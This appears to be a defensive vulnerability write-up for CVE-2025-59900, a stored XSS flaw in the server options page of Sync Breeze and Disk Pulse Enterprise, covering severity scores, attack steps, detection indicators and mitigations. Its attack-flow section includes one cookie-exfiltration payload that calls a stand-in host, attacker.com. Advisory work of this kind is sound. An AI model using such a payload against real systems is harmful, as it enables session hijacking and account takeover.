CVE-2025-59900: 
VX Search vulnerability analysis and mitigation

CVE-2025-59900 is a persistent (stored) authenticated Cross-Site Scripting (XSS) vulnerability affecting Flexense Sync Breeze Enterprise Server v10.4.18 and Disk Pulse Enterprise v10.4.18. The flaw stems from insufficient input validation in the /server_options?sid= endpoint, specifically in the tasks_logs_dir, errors_logs_dir, error_notifications_address, status_notifications_address, and status_reports_address parameters. It was published on January 28, 2026, and assigned by INCIBE. The vulnerability carries a CVSS v3.1 base score of 5.4 (Medium) and a CVSS v4.0 base score of 5.1 (Medium) (INCIBE Advisory, EUVD).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). An authenticated attacker with low privileges can inject malicious JavaScript payloads into one or more of the affected server option parameters via an HTTP POST/GET request to /server_options?sid=. Because the injected content is stored server-side and rendered to other authenticated users without proper sanitization or output encoding, it qualifies as a persistent (stored) XSS. Exploitation requires the victim to be an authenticated user who views the affected server options page, satisfying the "user interaction required" condition (INCIBE Advisory, EUVD).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browser context of another authenticated user, enabling session token theft, credential harvesting, or unauthorized actions performed on behalf of the victim. The scope is changed (S:C in CVSS v3.1), meaning the impact extends beyond the vulnerable component to the victim's browser session. Confidentiality and integrity of the affected user's session data are at risk, though availability is not directly impacted (INCIBE Advisory).

No public proof-of-concept exploit code or active in-the-wild exploitation has been reported as of the time of this report. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.047%, indicating a very low probability of exploitation in the near term. Exploitation requires an authenticated attacker with at least low-level privileges, which limits the attack surface (EUVD).

1. Authentication: Obtain valid credentials for the Sync Breeze Enterprise or Disk Pulse Enterprise web interface (low-privilege account sufficient).
2. Identify the vulnerable endpoint: Navigate to /server_options?sid=<session_id> in the application's web interface.
3. Inject XSS payload: Submit a crafted HTTP request that sets one of the vulnerable parameters (e.g., error_notifications_address, status_notifications_address, status_reports_address, tasks_logs_dir, or errors_logs_dir) to a malicious JavaScript payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Payload persistence: The malicious script is stored server-side in the application's configuration.
5. Victim triggers execution: When another authenticated user (e.g., an administrator) visits the server options page, the stored payload executes in their browser context.
6. Session hijacking: The attacker receives the victim's session token or other sensitive data at the attacker-controlled endpoint, enabling account takeover or further unauthorized actions (INCIBE Advisory).

• Network: Unexpected outbound HTTP requests from administrator browsers to unknown external domains shortly after accessing the server options page; unusual GET requests to attacker-controlled URLs containing encoded cookie or session data.
• Logs: Application access logs showing POST requests to /server_options?sid= with HTML/JavaScript content (<script>, onerror=, javascript:, etc.) in parameter values (tasks_logs_dir, errors_logs_dir, error_notifications_address, status_notifications_address, status_reports_address).
• File System / Configuration: Server configuration files storing unexpected HTML or JavaScript strings in fields that should contain directory paths or email addresses.

Users should upgrade to a version of Sync Breeze Enterprise and Disk Pulse Enterprise beyond v10.4.18 that addresses this vulnerability; however, patch availability has not been explicitly confirmed in the advisory. As a workaround, restrict access to the server options configuration interface to trusted administrators only, and enforce network-level controls (e.g., firewall rules) to limit exposure of the web management interface. Organizations should also monitor access logs for suspicious input in the affected parameters and consider implementing a Web Application Firewall (WAF) rule to block XSS payloads targeting the /server_options endpoint (INCIBE Advisory).